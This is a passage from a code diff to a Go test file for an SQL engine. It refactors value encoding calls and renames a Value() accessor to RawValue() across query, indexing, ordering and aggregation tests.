7, 8, 9, - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2}, }, BLOBType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) - _, err = EncodeValue([]byte{ + _, err = EncodeValue(&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1}, }, BLOBType, 0) require.NoError(t, err) - _, err = EncodeValue([]byte{ + _, err = EncodeValue(&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, - 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2}, }, BLOBType, 0) require.NoError(t, err) -} -func TestEncodeValue(t *testing.T) { - b, err := EncodeValue((&Integer{val: 1}).Value(), IntegerType, 0) + b, err = EncodeValue((&Integer{val: 1}), IntegerType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) - b, err = EncodeValue((&Bool{val: true}).Value(), IntegerType, 0) + b, err = EncodeValue((&Bool{val: true}), IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue((&Bool{val: true}).Value(), BooleanType, 0) + b, err = EncodeValue((&Bool{val: true}), BooleanType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 1, 1}, b) - b, err = EncodeValue((&Integer{val: 1}).Value(), BooleanType, 0) + b, err = EncodeValue((&Integer{val: 1}), BooleanType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue((&Varchar{val: "title"}).Value(), VarcharType, 0) + b, err = EncodeValue((&Varchar{val: "title"}), VarcharType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b) - b, err = EncodeValue((&Integer{val: 1}).Value(), VarcharType, 0) + b, err = EncodeValue((&Integer{val: 1}), VarcharType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue((&Blob{val: []byte{}}).Value(), BLOBType, 50) + b, err = EncodeValue((&Blob{val: []byte{}}), BLOBType, 50) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) - b, err = EncodeValue((&Blob{val: nil}).Value(), BLOBType, 50) + b, err = EncodeValue((&Blob{val: nil}), BLOBType, 50) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) - b, err = EncodeValue((&Integer{val: 1}).Value(), BLOBType, 50) + b, err = EncodeValue((&Integer{val: 1}), BLOBType, 50) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue((&Integer{val: 1}).Value(), "invalid type", 50) + b, err = EncodeValue((&Integer{val: 1}), "invalid type", 50) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) // Max allowed key size is 32 bytes - b, err = EncodeValue((&Varchar{val: "012345678901234567890123456789012"}).Value(), VarcharType, 32) + b, err = EncodeValue((&Varchar{val: "012345678901234567890123456789012"}), VarcharType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) - _, err = EncodeValue((&Varchar{val: "01234567890123456789012345678902"}).Value(), VarcharType, 256) + _, err = EncodeValue((&Varchar{val: "01234567890123456789012345678902"}), VarcharType, 256) require.NoError(t, err) - _, err = EncodeValue((&Varchar{val: "012345678901234567890123456789012"}).Value(), VarcharType, 256) + _, err = EncodeValue((&Varchar{val: "012345678901234567890123456789012"}), VarcharType, 256) require.NoError(t, err) b, err = EncodeValue((&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, - }}).Value(), BLOBType, 32) + }}), BLOBType, 32) require.ErrorIs(t, err, ErrMaxLengthExceeded) require.Nil(t, b) _, err = EncodeValue((&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, - }}).Value(), BLOBType, 256) + }}), BLOBType, 256) require.NoError(t, err) _, err = EncodeValue((&Blob{val: []byte{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, - }}).Value(), BLOBType, 256) + }}), BLOBType, 256) require.NoError(t, err) - b, err = EncodeValue((&Timestamp{val: time.Unix(0, 1000)}).Value(), TimestampType, 0) + b, err = EncodeValue((&Timestamp{val: time.Unix(0, 1000)}), TimestampType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) - b, err = EncodeValue((&Integer{val: 1}).Value(), TimestampType, 0) + b, err = EncodeValue((&Integer{val: 1}), TimestampType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) } @@ -2068,13 +2060,13 @@ func TestQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "table1", "ts")].Value().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].Value()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "table1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].Value()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].RawValue()) } _, err = r.Read(context.Background()) @@ -2120,13 +2112,13 @@ func TestQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "ts")].Value().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "title")].Value()) - require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "active")].Value()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "title")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].Value()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].RawValue()) } _, err = r.Read(context.Background()) @@ -2160,13 +2152,13 @@ func TestQuery(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "ts")].Value().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "d")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "title")].Value()) - require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "active")].Value()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "d")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "title")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].Value()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "mytable1", "payload")].RawValue()) } _, err = r.Read(context.Background()) @@ -2189,12 +2181,12 @@ func TestQuery(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, (rowCount-1-i)%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].Value()) + require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, (rowCount-1-i)%2 == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) encPayload := []byte(fmt.Sprintf("blob%d", rowCount-1-i)) - require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].Value()) + require.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "payload")].RawValue()) } err = r.Close() @@ -2217,7 +2209,7 @@ func TestQuery(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) err = r.Close() require.NoError(t, err) @@ -2241,9 +2233,9 @@ func TestQuery(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, params["some_param"], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].Value()) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, params["some_param"], row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) } err = r.Close() @@ -2465,7 +2457,7 @@ func TestQueryDistinct(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2491,7 +2483,7 @@ func TestQueryDistinct(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2517,7 +2509,7 @@ func TestQueryDistinct(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2543,7 +2535,7 @@ func TestQueryDistinct(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, int64(i*100), row.ValuesBySelector["(db1.table1.amount)"].Value()) + require.Equal(t, int64(i*100), row.ValuesBySelector["(db1.table1.amount)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2571,11 +2563,11 @@ func TestQueryDistinct(t *testing.T) { require.Len(t, row.ValuesBySelector, 1) if i == 0 { - require.Nil(t, row.ValuesBySelector["(db1.table1.active)"].Value()) + require.Nil(t, row.ValuesBySelector["(db1.table1.active)"].RawValue()) continue } - require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].Value()) + require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2604,13 +2596,13 @@ func TestQueryDistinct(t *testing.T) { require.Len(t, row.ValuesBySelector, 2) if i == 0 { - require.Equal(t, int64(100), row.ValuesBySelector["(db1.table1.amount)"].Value()) - require.Nil(t, row.ValuesBySelector["(db1.table1.active)"].Value()) + require.Equal(t, int64(100), row.ValuesBySelector["(db1.table1.amount)"].RawValue()) + require.Nil(t, row.ValuesBySelector["(db1.table1.active)"].RawValue()) continue } - require.Equal(t, int64(200), row.ValuesBySelector["(db1.table1.amount)"].Value()) - require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].Value()) + require.Equal(t, int64(200), row.ValuesBySelector["(db1.table1.amount)"].RawValue()) + require.Equal(t, i == 2, row.ValuesBySelector["(db1.table1.active)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2634,7 +2626,7 @@ func TestQueryDistinct(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesBySelector, 1) - require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].Value()) + require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) } _, err = r.Read(context.Background()) @@ -2786,7 +2778,7 @@ func TestIndexing(t *testing.T) { require.Nil(t, tsRange.lRange) require.NotNil(t, tsRange.hRange) require.False(t, tsRange.hRange.inclusive) - require.Equal(t, int64(1629902963), tsRange.hRange.val.Value()) + require.Equal(t, int64(1629902963), tsRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) @@ -2814,10 +2806,10 @@ func TestIndexing(t *testing.T) { tsRange := scanSpecs.rangesByColID[2] require.NotNil(t, tsRange.lRange) require.True(t, tsRange.lRange.inclusive) - require.Equal(t, int64(1629902963), tsRange.lRange.val.Value()) + require.Equal(t, int64(1629902963), tsRange.lRange.val.RawValue()) require.NotNil(t, tsRange.hRange) require.True(t, tsRange.hRange.inclusive) - require.Equal(t, int64(1629902962), tsRange.hRange.val.Value()) + require.Equal(t, int64(1629902962), tsRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) @@ -2845,10 +2837,10 @@ func TestIndexing(t *testing.T) { tsRange := scanSpecs.rangesByColID[2] require.NotNil(t, tsRange.lRange) require.False(t, tsRange.lRange.inclusive) - require.Equal(t, int64(1629902962), tsRange.lRange.val.Value()) + require.Equal(t, int64(1629902962), tsRange.lRange.val.RawValue()) require.NotNil(t, tsRange.hRange) require.False(t, tsRange.hRange.inclusive) - require.Equal(t, int64(1629902963), tsRange.hRange.val.Value()) + require.Equal(t, int64(1629902963), tsRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) @@ -2949,7 +2941,7 @@ func TestIndexing(t *testing.T) { require.Nil(t, titleRange.lRange) require.NotNil(t, titleRange.hRange) require.False(t, titleRange.hRange.inclusive) - require.Equal(t, "title10", titleRange.hRange.val.Value()) + require.Equal(t, "title10", titleRange.hRange.val.RawValue()) require.True(t, scanSpecs.DescOrder) @@ -2978,10 +2970,10 @@ func TestIndexing(t *testing.T) { titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) - require.Equal(t, "title1", titleRange.lRange.val.Value()) + require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.NotNil(t, titleRange.hRange) require.True(t, titleRange.hRange.inclusive) - require.Equal(t, "title1", titleRange.hRange.val.Value()) + require.Equal(t, "title1", titleRange.hRange.val.RawValue()) require.True(t, scanSpecs.DescOrder) @@ -3009,7 +3001,7 @@ func TestIndexing(t *testing.T) { titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.False(t, titleRange.lRange.inclusive) - require.Equal(t, "title10", titleRange.lRange.val.Value()) + require.Equal(t, "title10", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.False(t, scanSpecs.DescOrder) @@ -3038,7 +3030,7 @@ func TestIndexing(t *testing.T) { titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) - require.Equal(t, "title1", titleRange.lRange.val.Value()) + require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.True(t, scanSpecs.DescOrder) @@ -3068,7 +3060,7 @@ func TestIndexing(t *testing.T) { titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) - require.Equal(t, "title1", titleRange.lRange.val.Value()) + require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.True(t, scanSpecs.DescOrder) @@ -3097,7 +3089,7 @@ func TestIndexing(t *testing.T) { titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) - require.Equal(t, "title1", titleRange.lRange.val.Value()) + require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.False(t, scanSpecs.DescOrder) @@ -3127,7 +3119,7 @@ func TestIndexing(t *testing.T) { require.Nil(t, titleRange.lRange) require.NotNil(t, titleRange.hRange) require.False(t, titleRange.hRange.inclusive) - require.Equal(t, "title10", titleRange.hRange.val.Value()) + require.Equal(t, "title10", titleRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) @@ -3155,10 +3147,10 @@ func TestIndexing(t *testing.T) { titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) - require.Equal(t, "title1", titleRange.lRange.val.Value()) + require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.NotNil(t, titleRange.hRange) require.True(t, titleRange.hRange.inclusive) - require.Equal(t, "title1", titleRange.hRange.val.Value()) + require.Equal(t, "title1", titleRange.hRange.val.RawValue()) require.True(t, scanSpecs.DescOrder) @@ -3211,9 +3203,9 @@ func TestQueryWithNullables(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "table1", "ts")].Value().(time.Time))) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) + require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "db1", "table1", "ts")].RawValue().(time.Time))) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) require.Equal(t, &NullValue{t: BooleanType}, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")]) } @@ -3299,17 +3291,17 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) @@ -3317,9 +3309,9 @@ func TestOrderBy(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) } err = r.Close() @@ -3332,17 +3324,17 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) @@ -3350,9 +3342,9 @@ func TestOrderBy(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, int64(40+i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) } err = r.Close() @@ -3367,26 +3359,26 @@ func TestOrderBy(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(rowCount-1-i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, int64(40-(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(rowCount-1-i+3), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, int64(40-(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) } row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].Value()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, "title", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "age")].RawValue()) err = r.Close() require.NoError(t, err) @@ -3595,7 +3587,7 @@ func TestQueryWithInClause(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) } err = r.Close() @@ -3621,7 +3613,7 @@ func TestQueryWithInClause(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) } err = r.Close() @@ -3636,7 +3628,7 @@ func TestQueryWithInClause(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].RawValue()) } err = r.Close() @@ -3720,11 +3712,11 @@ func TestAggregations(t *testing.T) { row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].Value()) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col1")].Value()) - require.Equal(t, "", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].Value()) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].Value()) - require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col4")].Value()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col0")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col1")].RawValue()) + require.Equal(t, "", row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].RawValue()) + require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].RawValue()) + 